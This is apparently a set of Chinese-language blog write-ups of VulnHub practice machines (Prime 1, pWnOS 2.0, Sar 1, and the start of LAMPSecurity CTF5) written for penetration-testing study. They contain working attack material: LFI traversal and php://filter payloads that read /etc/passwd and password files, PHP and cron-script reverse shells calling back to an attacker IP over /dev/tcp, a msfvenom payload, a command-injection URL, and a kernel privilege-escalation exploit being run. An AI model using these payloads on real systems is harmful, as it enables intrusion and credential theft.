victor:x:1000:1000:victor,,,:/home/victor:/bin/bash
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false
saket:x:1001:1001:find password.txt file in my directory:/home/saket:
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
</html>

这里有一个注意点，在 /etc/passwd 的 saket 这一行中，注释字段不是常规的用户描述，而是一句明显的提示：

saket:x:1001:1001:find password.txt file in my directory:/home/saket:

find password.txt file in my directory

同时也确认了系统里值得关注的几个用户：root、victor（有 /bin/bash）、saket。先把这个提示记在心里。

在直接去读 password.txt 之前，我想先搞清楚这个参数到底是怎么处理包含的、有没有进一步利用空间，于是用 php://filter 伪协议把 image.php 自身的源码以 base64 编码读出来看看：

http://192.168.200.128/image.php?secrettier360=php://filter/convert.base64-encode/resource=image.php

拿到 base64 后解码：

PGh0bWw+Cjx0aXRsZT5IYWNrblBlbnRlc3Q8L3RpdGxlPgo8Ym9keT4KIDxpbWcgc3JjPSdoYWNrbnBlbnRlc3QucG5nJyBhbHQ9J2hucCBzZWN1cml0eScgd2lkdGg9IjEzMDAiIGhlaWdodD0iNTk1IiAvPjwvcD48L3A+PC9wPgo8L2JvZHk+Cjw/cGhwCiRzZWNyZXQgPSAkX0dFVFsnc2VjcmV0dGllcjM2MCddOwppZihpc3NldCgkc2VjcmV0KSkKCnsKIGVjaG8iZmluYWx5IHlvdSBnb3QgdGhlIHJpZ2h0IHBhcmFtZXRlciI7CiBlY2hvICI8YnI+PGJyPjxicj48YnI+IjsKIGluY2x1ZGUoIiRzZWNyZXQiKTsKCn0KCj8+CjwvaHRtbD4K

<?php
$secret = $_GET['secrettier360'];
if(isset($secret))

{
 echo"finaly you got the right parameter";
 echo "<br><br><br><br>";
 include("$secret");

}

?>
</html>

看到 include("$secret") 直接拼接用户输入，我开始想这个点除了本地包含，能不能进一步做远程文件包含（RFI）。但 RFI 需要服务端开启 allow_url_include 之类的配置，把握不大，我没在这条路上继续耗，而是回头去看之前收集到的信息——想起来扫描时发现过一个 WordPress 站点，决定先从它入手。

对 WordPress 简单测试后，对应版本没有可以直接拿 webshell 的已知 CMS 漏洞，弱口令也试不通。

转念想到 WordPress 一般会把数据库密码写在 wp-config.php 里，正好可以用手上的 LFI 把它读出来：

define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wordpress' );

/** MySQL database password */
define( 'DB_PASSWORD', 'yourpasswordhere' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

但这里的密码还是 yourpasswordhere 这种占位默认值，没有实际价值，而且之前扫描时 3306 也没开，数据库这条路走不通。

回过头重新看线索，最有指向性的还是 /etc/passwd 里 saket 那行注释——"find password.txt file in my directory"，等于直接告诉我去 saket 家目录下读 password.txt。继续用 LFI 读它：

┌──(kali㉿kali)-[~/vulnhub/prime1/web]
└─$ curl http://192.168.200.128/image.php?secrettier360=../../../../../home/saket/password.txt 
<html>
<title>HacknPentest</title>
<body>
 <img src='hacknpentest.png' alt='hnp security' width="1300" height="595" /></p></p></p>
</body>
finaly you got the right parameter<br><br><br><br>follow_the_ippsec
</html>

获取凭证：

follow_the_ippsec

2.权限立足

2.1 凭证利用

拿到 follow_the_ippsec 这个疑似密码后，手里能匹配的用户名有 saket 和 victor 两个（都来自 /etc/passwd），可以尝试的入口也有两个：SSH 和 WordPress 后台。

先试了 SSH，saket、victor 两个用户配 follow_the_ippsec 都登不上去。于是转向 WordPress 后台，用 victor 的凭证试：

saket:follow_the_ippsec
victor:follow_the_ippsec        # wordpress

victor:follow_the_ippsec 成功登入 WordPress 后台：

2.2 上传反弹 Shell

进了后台之后，目标是把它变成一个 webshell。WordPress 后台拿 shell 的经典思路是利用 Appearance → Theme Editor 直接编辑主题里的 php 文件，把反弹/命令执行代码写进去。这里找到一个可写的 php 文件 secret.php，往里面插入了反弹 shell：

写进去之后的问题是不知道这个文件在服务器上对应的访问路径，没法触发它。在网上查了一下 WordPress 主题文件的存放规律：

主题文件路径形如 /wp-content/themes/[当前启用的主题名]/xxx.php。当前主题是 twentynineteen，于是拼出完整 URL 去访问触发反弹 shell：

http://192.168.200.128/wordpress/wp-content/themes/twentynineteen/secret.php

3.提权

拿到 www-data 的 shell 后，照常先做提权方向的信息收集，依次看了 sudo 权限、计划任务和内核版本。

3.1 信息收集

sudo 权限

先看当前用户有没有可滥用的 sudo 配置：

www-data@ubuntu:/var/www/html/wordpress$ sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (root) NOPASSWD: /home/saket/enc        # <-- 重点关注

www-data 可以免密以 root 身份运行 /home/saket/enc 这个程序，先记下这条线索。顺手去 saket 家目录看看这个 enc 和旁边有什么：

www-data@ubuntu:/var/www/html$ cd /home/saket
www-data@ubuntu:/home/saket$ ls
enc  password.txt  user.txt
www-data@ubuntu:/home/saket$ cat user.txt
af3c658dcf9d7190da3153519c003456

顺便拿到了 user flag：af3c658dcf9d7190da3153519c003456。

计划任务

www-data@ubuntu:/home$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
@reboot                 bash /root/t.sh
#

crontab 里有一条 @reboot bash /root/t.sh，root 在开机时会执行 /root/t.sh。要靠它提权得能改写这个脚本，但它在 root 家目录下，当前 www-data 没有权限动它，这条路暂时搁置。

内核版本

sudo 那条 /home/saket/enc 需要先逆向或猜出它要的密码，计划任务那条又改不动脚本，我当时没在这两条上继续耗，转而看内核版本碰碰运气：

www-data@ubuntu:/tmp$ uname -a
Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48
www-data@ubuntu:/tmp$ cat /etc/os-release
NAME="Ubuntu"
VERSION="16.04.3 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.3 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial

内核 4.10.0-28、系统 Ubuntu 16.04.3，这个版本组合有不少现成的本地提权 EXP，值得一试。

3.2 内核提权

用 searchsploit 搜对应版本的本地提权 EXP：

┌──(kali㉿kali)-[~/vulnhub/prime1]
└─$ searchsploit linux kernel 4.10 |grep -i 'Priv'
Linux Kernel (Solaris 10 / < 5.10 138888-01) - Local Privilege Escalation                                                             | solaris/local/15962.c
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 Privilege Escalation (5) | linux/local/9479.c
Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation                                                                     | linux/local/50135.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation                                  | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access /etc/shadow)             | linux/local/37293.txt
Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation                                                       | linux/local/47163.c
Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation                                                                            | linux/local/41886.c
Linux kernel < 4.10.15 - Race Condition Privilege Escalation                                                                          | linux/local/43345.c
Linux Kernel < 4.11.8 - 'mq_notify: double sock_put()' Local Privilege Escalation                                                     | linux/local/45553.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation                                                         | linux/local/45010.c   # <-- 重点关注

候选里 45010.c（Linux Kernel < 4.13.9）明确标注适用 Ubuntu 16.04，跟目标的内核版本和系统版本都对得上，优先选它。把它下载下来，传到目标 /tmp 目录后编译：

www-data@ubuntu:/tmp$ gcc 45010.c -o 45010
www-data@ubuntu:/tmp$ ls
41886.c
45010
45010.c
VMwareDnD
a.out
systemd-private-ac1d6181c4f44cc1a58945185b3f5789-colord.service-qFLfFP
systemd-private-ac1d6181c4f44cc1a58945185b3f5789-rtkit-daemon.service-pwcvsB
systemd-private-ac1d6181c4f44cc1a58945185b3f5789-systemd-timesyncd.service-SSKui0
vmware-root

赋予执行权限后运行：

www-data@ubuntu:/tmp$ chmod +x 45010
www-data@ubuntu:/tmp$ ls -l
total 72
-rw-r--r-- 1 www-data www-data  2368 Jun 22 18:34 41886.c
-rwxr-xr-x 1 www-data www-data 18432 Jun 22 19:22 45010
-rw-r--r-- 1 www-data www-data 13176 Jun 22 18:45 45010.c
drwxrwxrwt 2 root     root      4096 Jun 17 04:48 VMwareDnD
-rwxr-xr-x 1 www-data www-data  8920 Jun 22 18:34 a.out
drwx------ 3 root     root      4096 Jun 17 04:49 systemd-private-ac1d6181c4f44cc1a58945185b3f5789-colord.service-qFLfFP
drwx------ 3 root     root      4096 Jun 17 04:49 systemd-private-ac1d6181c4f44cc1a58945185b3f5789-rtkit-daemon.service-pwcvsB
drwx------ 3 root     root      4096 Jun 17 04:48 systemd-private-ac1d6181c4f44cc1a58945185b3f5789-systemd-timesyncd.service-SSKui0
drwx------ 2 root     root      4096 Jun 17 04:48 vmware-root
www-data@ubuntu:/tmp$ ./45010

EXP 执行成功，拿到 root 权限。

4.总结

这次打靶我靠自己找到了 LFI 这个漏洞，感觉非常开心。刚开始我没找到思路，并被这台靶机困难的标签给吓到了，但是我没放弃，在将靶机搁置一段时间后，重新分析之前收集到的信息，找到了突破点。

说一下这台靶机的攻击链，通过层层解谜，分析信息，得到新的利用点，找到了存在 LFI 漏洞的参数。分析 /etc/passwd 文件，得到了后续的提示，获得了一个凭证。拿到这个凭证，成功登入了 WordPress，在 WordPress 中学到一些常见的 WordPress 权限立足方案。如 Appearance 和 Plugins 都可能存在突破口，最终在 Appearance 中找到了可以编辑的 PHP 文件，我往里添加了反弹 Shell，成功获取主机 Webshell。

到了提权阶段，这次提权比较简单，直接通过内核提权 EXP 直接拿下 root 权限。但是在这个过程中我还是有些疑惑，该怎么去分析什么时候使用内核提权，是积累经验吗？这个内核版本存在可以稳定复现的内核提权漏洞，并且有 gcc 吧。

5.补充

5.1 FUZZ 参数详解

下面这段信息是通过 fuzz 爆破 GET 参数的积累，但是在这个过程中我遇到了如何过滤的问题，对这个问题我进行了一些搜索和总结。

┌──(kali㉿kali)-[~/vulnhub/prime1/web]
└─$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 500 http://192.168.200.128/index.php?FUZZ=something
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.200.128/index.php?FUZZ=something
Total requests: 951

==================================================================
ID           Response   Lines    Word     Chars       Payload
==================================================================

000000001:   200        7 L      12 W     136 Ch      "@"
000000042:   200        7 L      12 W     136 Ch      "administrator"
000000050:   200        7 L      12 W     136 Ch      "agent"
...
000000325:   200        7 L      12 W     136 Ch      "exchange"
000000341:   200        7 L      19 W     206 Ch      "file"
000000343:   200        7 L      12 W     136 Ch      "filter"

Lines / Word / Chars 是什么

这三个值统计的是服务器返回的 HTTP 响应体（页面内容），不是请求，也不是响应头：

Lines (L)：响应内容按换行符 \n 分割后的行数
Word (W)：响应内容按空白字符（空格/换行/Tab）分割后的单词数，类似 Linux wc -w 的算法
Chars (Ch)：响应内容的总字符数（字节数），类似 wc -c

wfuzz 拿到 HTTP 响应后，把 body 内容丢给类似 wc 的统计逻辑，分别算出这三个数字显示在结果里，方便用 --hl / --hw / --hh 做过滤。

怎么验证/计算

可以直接用 curl 实测，比如对 "exchange" 这个参数值发请求，把返回内容用 wc 验证：

curl -s "http://192.168.200.128/index.php?FUZZ=exchange" | wc -lwc

wc 的输出顺序是「行数单词数字符数」，应该正好对应 wfuzz 显示的 7 L / 12 W / 136 Ch。

这次该怎么筛选

已经"目测"出来了规律：

大部分无效参数返回的都是 7 L / 12 W / 136 Ch（说明 index.php 对无效参数走了同一个"默认/报错"分支，内容长度都一样）
只有 "file" 这一条是 7 L / 19 W / 206 Ch，明显跟其他的不一样

所以筛选思路就是：把那个"大多数、重复出现"的噪音值过滤掉，剩下的就是真正命中的参数。

直接在原命令上加 --hw 12（隐藏字数为 12 的响应）：

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 12 http://192.168.200.128/index.php?FUZZ=something

或者用字符数过滤，效果一样：

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hh 136 http://192.168.200.128/index.php?FUZZ=something

跑完之后，输出列表里就只剩下 "file" 这一条（以及可能少数几个特殊的），说明 index.php?file=xxx 是这个网页真正接受的有效参数，很可能藏着文件包含（LFI）之类的漏洞，可以接着往下打。

6.参考链接

https://medium.com/@inotp/vulnhub-prime-1-walkthrough-ad521a1ac255
https://www.bilibili.com/video/BV1yP41177h7/?spm_id_from=333.1387.favlist.content.click

Vulnhub pWnOS 2.0 WriteUp

Thu, 28 May 2026 00:00:00 GMT

前言

靶场介绍

pWnOS: 2.0 是一台托管在 VulnHub 上的 Linux 靶机，IP 静态设置为 10.10.10.100，需要将攻击机配置在同一 10.10.10.0/24 网段内。

涉及知识点：

Web 目录枚举与假站识别
CMS 指纹识别（Simple PHP Blog 0.4.0）
公开 EXP 利用（任意文件上传 + 密码修改）
反弹 Shell 获取 Web 权限
配置文件凭证泄露
SSH 直登 root 提权

靶场信息：

字段	值
靶机名	pWnOS: 2.0
靶机 IP	10.10.10.100
靶机 URL	https://www.vulnhub.com/entry/pwnos-20-pre-release,34/
下载（镜像）	https://download.vulnhub.com/pwnos/pWnOS_v2.0.7z

环境配置说明

操作：打开虚拟网络编辑器，修改 VMnet8（NAT 网卡）为 10.10.10.0 网段，网关 10.10.10.15。

点击 NAT 设置修改网关地址：

涉及工具

Nmap
dirsearch
searchsploit
perl（运行 EXP 1191.pl）

1. 信息收集

1.1 Nmap 信息扫描

端口扫描

nmap -sT -p- --min-rate 10000 10.10.10.100 -oA port

详细信息

nmap -sT -sV -sC -O -p22,80 10.10.10.100 -oA detail

漏洞扫描

sudo nmap --script=vuln -p22,80 10.10.10.100 -oA vuln

1.2 Web 探测

主页访问

curl http://10.10.10.100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
        <meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
        <title>Welcome to this Site!</title>
<style type="text/css" media="screen">@import "includes/layout.css";</style>
</head>
<body>
<div id="Header">IsIntS</div>
<div id="Content">
<h1>Welcome</h1><p>Welcome to my IsIntS Internal Website.</p>
<p>If you have any questions email me at admin@isints.com</p>
</div>
<div id="Menu">
<a href="index.php" title="Home Page">Home</a><br />
<a href="register.php" title="Register for the Site">Register</a><br />
<a href="login.php" title="Login">Login</a><br />
</div>
</body>
</html>

目录扫描

dirsearch -u 'http://10.10.10.100/' -o dirs.txt

有效结果——之前的猜测是正确的，前面的页面是一个假的网站，真实的网站应该是在 /blog：

[01:39:19] 302 -   20B  - /activate  ->  http://10.10.10.100/index.php
[01:39:23] 301 -  242B  - /blog  ->  http://10.10.10.100/blog/   # <-- 真实站点
[01:39:23] 200 -    2KB - /blog/
[01:39:24] 403 -  236B  - /cgi-bin/
[01:39:28] 200 -    9KB - /info.php
[01:39:29] 200 -  629B  - /login.php
[01:39:33] 200 -  723B  - /register.php

访问 http://10.10.10.100/blog/index.php，觉得这应该是一个 CMS 漏洞利用的方向。

CMS 指纹识别

打开网页源码，找到如下 meta 标签：

<meta name="generator" content="Simple PHP Blog 0.4.0" />   <!-- <-- CMS 版本指纹 -->

2. 权限立足

2.1 CMS EXP 利用（Simple PHP Blog 0.4.0）

搜索 Simple PHP Blog 0.4.0 exploit，通过搜索引擎发现这个 CMS 存在很多可利用漏洞：

参考：https://www.exploit-db.com/exploits/1191

用 Kali 自带的 searchsploit 查找：

searchsploit Simple PHP Blog 0.4.0

拷贝 EXP 到当前目录：

searchsploit -m php/webapps/1191.pl

安装依赖：

# 检查 Perl 是否已安装
perl -v

# 安装所需模块
sudo cpan LWP::UserAgent HTTP::Request::Common Getopt::Std Switch

# 缺少 Switch 模块时运行
sudo apt install libswitch-perl

EXP 用法：

Usage   : ./1191.pl [-h host] [-e exploit]

        -?      : this menu
        -h      : host
        -e      : exploit
                (1)     : Upload cmd.php in [site]/images/
                (2)     : Retreive Password file (hash)
                (3)     : Set New User Name and Password
                        -U      : user name
                        -P      : password
                (4)     : Delete a System File
                        -F      : Path and System File

先用 -e 3 修改密码，创建可登录账户：

./1191.pl -h http://10.10.10.100/blog -e 3 -U a -P a

成功登录页面。在阅读 EXP 的时候发现它存在任意文件上传的漏洞，其中给出了文件上传目录就是 /images。

2.2 文件上传 + 反弹 Shell

先上传测试图片，验证 /images 目录是否可访问：

http://10.10.10.100/blog/images/test01.jpg

确认可访问，上传反弹 Shell：

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/4444 0>&1'"); ?>

本地监听后，访问触发：

http://10.10.10.100/blog/images/shell.php

成功拿到 Web Shell。

3. 提权

3.1 基础信息收集

拿到 Web Shell 以后，先对靶机的基础信息做了一个全面的了解。

内核版本

www-data@web:/var/www/blog/images$ uname -a
Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux

计划任务

www-data@web:/var/www/blog/images$ cat /etc/crontab
# /etc/crontab: system-wide crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

计划任务没有可直接利用的项，转向凭证泄露方向。

用户列表

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:0:0:MySQL Server,,,:/root:/bin/bash
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
landscape:x:104:110::/var/lib/landscape:/bin/false
dan:x:1000:1000:Dan Privett,,,:/home/dan:/bin/bash

注意 mysql 用户ID为0:0, 应该有root用户权限。可以优先考虑mysql相关的凭证泄露问题。

3.2 凭证泄露

在基础信息中没得到可直接利用的地方，因为是一台偏简单的靶机，觉得作者想通过凭证泄露的手段让我们登录提权，随即开始寻找凭证泄露的信息。

先搜配置文件：

www-data@web:/var/www$ find . -name '*conf*'
./includes/config.inc.php
./blog/scripts/sb_config.php
./blog/config
./blog/config/config.txt

在 /var/www/ 目录下发现 mysqli_connect.php，打开一看有一套凭证，但是尝试以后发现不正确，MySQL 和 su 都不能登录，同时也尝试了另外一个用户也不行：

www-data@web:/var/www$ cat mysqli_connect.php
<?php
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'goodday');    # <-- 此凭证无效
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');
?>

在退回到 /var 目录下时，发现有一个同名的 mysqli_connect.php，打开文件一看里面也有一套凭证，尝试以后发现凭证正确：

www-data@web:/var$ cat mysqli_connect.php
# ...
<?php
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'root@ISIntS');    # <-- 有效凭证
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');
?>

字段	值
用户名	root
密码	root@ISIntS

3.3 SSH 直登 root

通过 SSH 尝试，这个泄露的凭证能直接登录 root 用户：

成功获取 root shell。

4. 补充

4.1 SimplePHPBlog v0.4.0 漏洞分析

攻击流程图

 获取密码哈希 → 删除密码文件 → 创建临时用户 → 登录获取会话  
       ↓  
   上传 Web Shell (cmd.php, reset.php)  
       ↓  
   恢复原始密码哈希 → 清理痕迹 (删除 reset.php)

4.2 网站主页SQL注入尝试

首页登录框存在sql注入，判断secure_file_priv为空后；并且存在info文件中的phpinfo信息，可以看到站点的绝对路径，直接尝试写一句话

Vulnhub Sar_1 WriteUp

Tue, 26 May 2026 00:00:00 GMT

前言

靶场介绍

Sar: 1 是一台 Vulnhub 中的 Linux 靶机，核心攻击面为 Web 应用中，结合靶机上可写的计划任务脚本完成提权，最终获取 Root 权限。

靶场信息

字段	值
靶机名	Sar: 1
靶机 IP	192.168.200.161
靶机 URL	https://www.vulnhub.com/entry/sar-1,425/
下载（镜像）	https://download.vulnhub.com/sar/sar.zip
目标	获取 Root 权限

涉及工具

Nmap
Dirsearch
Searchsploit / ExploitDB
Msfvenom
Netcat (nc)

1. 信息收集

1.1 Nmap信息扫描

端口扫描

nmap -sT -p- --min-rate 10000 192.168.200.161

开放端口：80

详细信息

sudo nmap -sT -sV -sC -O -p80 192.168.200.161 -oA detail

UDP扫描

tcp 开放端口过少，扫描 UDP 服务。

sudo nmap -sU --top-ports 20 192.168.200.161 -oA udp

现在这台靶机应该只开放 80，我们的立足点应该也在 80。

1.2 Web探测

目录枚举

dirsearch -u 'http://192.168.200.161/' -o dirs.txt

重点两个结果：

[20:57:54] 200 -   24KB - /phpinfo.php
[20:57:55] 200 -    9B  - /robots.txt

访问 robots.txt，发现路径 sar2HTML：

http://192.168.200.161/robots.txt
→ sar2HTML

http://192.168.200.161/sar2HTML/

2. 权限立足

2.1 Web渗透

网页上说：

Use built in report generator:

Click "NEW" button, enter ip address of host, user name and password and click "Capture report" button.

Or simply type sar2html -a [host ip] [user name] [password] at command prompt.

对网页执行基础操作，查看网页功能和检查网页源代码猜测有点像是远程命令执行，还有一个文件上传的入口。

这里有一个传输数据的接口，尝试了以后并没有执行命令，或许是我的方式不对：

ipaddr=1&userna=2&passwd=3&task=addhost&plot=NEW&Submit=Capture+report

尝试不行，搜索标题 sar2html Ver 3.2.1，好家伙跳出来的全是漏洞，那么这应该是一个 CMS 服务，用公开 exp 就能拿下，不需要我们自己去探测。

在 Kali 中搜索漏洞相关信息：

searchsploit sar2html

一个是交互式 shell，一个是告诉你怎么利用这个漏洞的报告。

查看 php/webapps/47204.txt，payload 如下：

http://<ipaddr>/index.php?plot=;<command-here>

# 示例：
http://192.168.200.161/sar2HTML/index.php?plot=;ls

2.2 反弹Shell

问题是现在怎么通过这个命令注入去提升交互性更强的 shell。

~~生成 shell 上传寻找目录~~ 生成的反弹有问题，改为最基础的反弹 shell，并结合文件上传拿下webshell。

sudo msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.200.142 lport=4444 -f raw > sar.php

重写反弹 shell 文件。

# vim shell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.200.142/4444 0>&1'"); ?>

这里遇到了一个直接将配置通过 URL 方式传输的问题，编码上有问题。结合之前探测到的一个点——有个文件上传入口，我决定通过这个上传路径去上传文件，如果不行，再去解决URL编码的问题。

执行交互式 shell exp，对目录进行探测，找出上传路径。

python ./49344.py
Enter The url => http://192.168.200.161/sar2HTML/
Command => ls
HPUX
Linux
SunOS
LICENSE
index.php
sar2html
sarDATA
sarFILE

Command => ls -l sarDATA
HPUX
Linux
SunOS
total 8
drwxr-xr-x 2 www-data www-data 4096 May 25 08:06 sar2html.21729
drwxr-xr-x 2 www-data www-data 4096 May 25 08:06 uPLOAD   # <-- 上传目录

Command => ls -l sarDATA/uPLOAD
HPUX
Linux
SunOS
total 4
-rw-r--r-- 1 www-data www-data 1116 May 25 08:06 sar.php

访问存放反弹 shell 的网页，Kali 开启监听，触发反弹 shell。

http://192.168.200.161/sar2HTML/sarDATA/uPLOAD/shell.php

3. 提权

3.1 信息收集

这里省略了一些基础信息的收集，只保留了提权的攻击链。

计划任务

www-data@sar:/var/www/html/sar2HTML/sarDATA/uPLOAD$ cat /etc/crontab
# /etc/crontab: system-wide crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/5  *    * * *   root    cd /var/www/html/ && sudo ./finally.sh   # <-- root 每 5 分钟执行一次

3.2 Cron Job 提权

查看 /var/www/html/ 目录：

www-data@sar:/var/www/html$ ls -liah
total 40K
408197 -rwxr-xr-x 1 root     root       22 Oct 20  2019 finally.sh
405623 -rw-r--r-- 1 www-data www-data  11K Oct 20  2019 index.html
408195 -rw-r--r-- 1 www-data www-data   21 Oct 20  2019 phpinfo.php
400981 -rw-r--r-- 1 root     root        9 Oct 21  2019 robots.txt
405734 drwxr-xr-x 4 www-data www-data 4.0K Oct 20  2019 sar2HTML
408199 -rwxrwxrwx 1 www-data www-data   30 Oct 21  2019 write.sh   # <-- 全局可写！

www-data@sar:/var/www/html$ cat finally.sh
#!/bin/sh

./write.sh   # <-- finally.sh 调用 write.sh

finally.sh 由 root 通过 cron 每 5 分钟执行，且它调用了全局可写的 write.sh，直接往 write.sh 里写反弹 shell。

注意：反弹 shell 要写执行脚本的第一条命令位置（写在最后无法执行）：

# vi write.sh

www-data@sar:/var/www/html$ cat write.sh
#!/bin/sh
/bin/bash -c 'bash -i >& /dev/tcp/192.168.200.142/4443 0>&1'
touch /tmp/gateway

等待 cron 触发，通过 nc 反弹获得 root shell。

3.3 获取 Flag

root@sar:~# ls -liah
total 44K
282877 -rw-r--r--  1 root root   33 Oct 20  2019 root.txt

root@sar:~# cat root.txt
66f93d6b2ca96c9ad78a8a9ba0008e99

4. 总结

非常简单的一台靶机，从 CMS 利用 -->上传反弹 shell --> 计划任务提权。都是之前靶机试过很多次的内容。

不过我还是不够细心，在 Web 探测的时候觉得系统这么简陋，就没往他说 CMS 这块去想，还有我觉得 CMS 都是 Blog 系统的思维定式有点影响到我了。

提权时，我写入反弹 shell 的方法出了点问题导致用了很长时间才成功。

Vulnhub LAMPSecurity CTF5 WriteUp

Thu, 21 May 2026 00:00:00 GMT

前言

靶场介绍

LAMPSecurity CTF5 是 madirish2600 出品的 LAMPSecurity 系列第五个靶机，基于 Fedora 8 的 LAMP 环境搭建。靶机不提供任何初始凭据，需要从零开始通过信息收集和漏洞利用获取系统权限。涉及 NanoCMS 凭证泄露、MySQL 数据库利用、Samba 服务探测等多个攻击面。

靶场信息

字段	值
靶机名	LAMPSecurity: CTF5
靶机 IP	192.168.200.160
靶机 URL	https://www.vulnhub.com/entry/lampsecurity-ctf5,84/
下载（镜像）	https://download.vulnhub.com/lampsecurity/ctf5.zip

涉及工具

Nmap
Smbclient / Smbmap
Dirsearch
John
Python
MySQL CLI

思维导图

1. 信息收集

1.1 Nmap 信息扫描

端口扫描

nmap -sT -p- --min-rate=10000 192.168.200.160 -oA ports

$ cat ports.nmap | grep open | awk -F'/' '{print $1}'|paste -sd ','
22,25,80,110,111,139,143,445,901,3306,33051

存在 RPC，需补充 UDP 扫描

开放端口：22,25,80,110,111,139,143,445,901,3306,33051

详细信息

nmap -sT -sV -sC -O -p $ports 192.168.200.160 -oA detail

Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-19 21:23 EDT
Nmap scan report for 192.168.200.160
Host is up (0.00072s latency).

